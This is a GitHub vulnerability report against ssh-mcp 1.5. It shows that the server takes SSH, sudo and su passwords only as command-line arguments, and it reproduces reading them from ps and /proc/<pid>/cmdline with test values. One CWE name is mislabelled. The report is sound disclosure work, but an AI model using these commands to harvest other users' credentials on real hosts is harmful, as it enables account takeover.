

tufantunc / ssh-mcp Public[Code](#) [Issues 11](#) [Pull requests 5](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

# VULN: Information Exposure Through Server Log Files #42

[Open](#)

BlackBird-BB opened 3 weeks ago



tufantunc ssh-mcp 1.5 Information Exposure Through Server Log Files

A local information exposure issue exists in ssh-mcp where SSH credentials are accepted via command-line (it is the only way to pass credentials) options (--password, --sudoPassword, --suPassword). Because process arguments are readable by unprivileged local users (via ps or /proc/cmdline on Linux, even low privilege), any attacker on the same host can directly recover plaintext passwords from the running process command-line string. This leads to credential leakage and violates secure handling of sensitive secrets in service startup parameters.

## SSH Credentials Exposed via Command-Line Arguments

### INFO

**CWE:** CWE-214 (Invocation of Non-Repudiable Function) / CWE-522 (Insufficiently Protected Credentials)

--password, --sudoPassword, --suPassword are passed as command-line arguments. And it is the **only** way to be passed to the server. Any local user (even **low privilege**) can read them via ps aux, /proc/<pid>/cmdline.

**Location:** src/index.ts:6-16 (parseArgv), src/index.ts:17-21

### Attack:

```
ps aux | grep ssh-mcp
# --password=MySecret --sudoPassword=SudoPass --suPassword=RootPass fully visible
```



**Note:** Reported separately in `ssh-mcp-credential-exposure.md`.

## Valid

Terminal A: Start `ssh-mcp`, explicitly pass in the test password for observation, and confirm that the service process will run resident with these parameters.

Terminal B: Enumerate local processes in the same machine environment, directly read `/proc/<pid>/cmdline`, and confirm whether the plaintext credentials appear in the process command line.

Start `ssh-mcp` and pass in three types of test passwords in the startup parameters:

- `--password=TestPass123`
- `--sudoPassword=SudoPass456`
- `--suPassword=RootPass789`

```
cd /home/kali/ssh-mcp
node build/index.js \
  --host=127.0.0.1 \
  --port=2222 \
  --user=test \
  --password=TestPass123 \
  --sudoPassword=SudoPass456 \
  --suPassword=RootPass789
```



Check local process information on another terminal:

```
pgrep -af 'node .*build/index.js'
PID=$(pgrep -f 'node .*build/index.js' | head -n1)
echo "PID=$PID"
cat /proc/$PID/cmdline | tr '\0' ' '
ps -fp "$PID"
```



```
(root@kali)-[~/home/kali/ssh-mcp]
└─# cd /home/kali/ssh-mcp
node build/index.js \
  --host=127.0.0.1 \
  --port=2222 \
  --user=test \
  --password=TestPass123 \
  --sudoPassword=SudoPass456 \
  --suPassword=RootPass789
SSH MCP Server running on stdio
^CShutting down SSH MCP Server ...
```

Observe that:

```

root@kali:~/home/kali
└─$ pgrep -af 'node .*build/index.js'
PID=$(pgrep -f 'node .*build/index.js' | head -n1)
echo "PID=$PID"
cat /proc/$PID/cmdline | tr '\0' ' '
ps -fp $PID

17520 node build/index.js --host=127.0.0.1 --port=2222 --user=test --password=TestPass123 --sudoPassword=SudoPass456 --suPassword=RootPass789
PID=17520
node build/index.js --host=127.0.0.1 --port=2222 --user=test --password=TestPass123 --sudoPassword=SudoPass456 --suPassword=RootPass789 UID          PID    PPID  C  STIME TTY          TIME CMD
root    17520   3513   1 09:58 pts/1    00:00:00 node build/index.js --host=127.0.0.1 --port=2222 --user=test --password=TestPass123 --sudoPassword=SudoPass456 --suPassword=RootPass789

```

```

node build/index.js --host=127.0.0.1 --port=2222 --user=test --password=TestPass123 --
sudoPassword=SudoPass456 --suPassword=RootPass789

```



The same content can be directly read through `/proc/<pid>/cmdline` . It is not just possible to see the existence of the process, but also to directly read the complete plaintext parameters, including the SSH login password, `sudoPassword` , and `suPassword` .

As long as the service is started with passwords carried in command-line parameters, users on the same machine can directly read the plaintext credentials of SSH, `sudo` , and `su` through `ps` or `/proc/<<pid>/cmdline` .

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects

### Milestone

No milestone

### Relationships

None yet

### Development

No branches or pull requests

### Participants



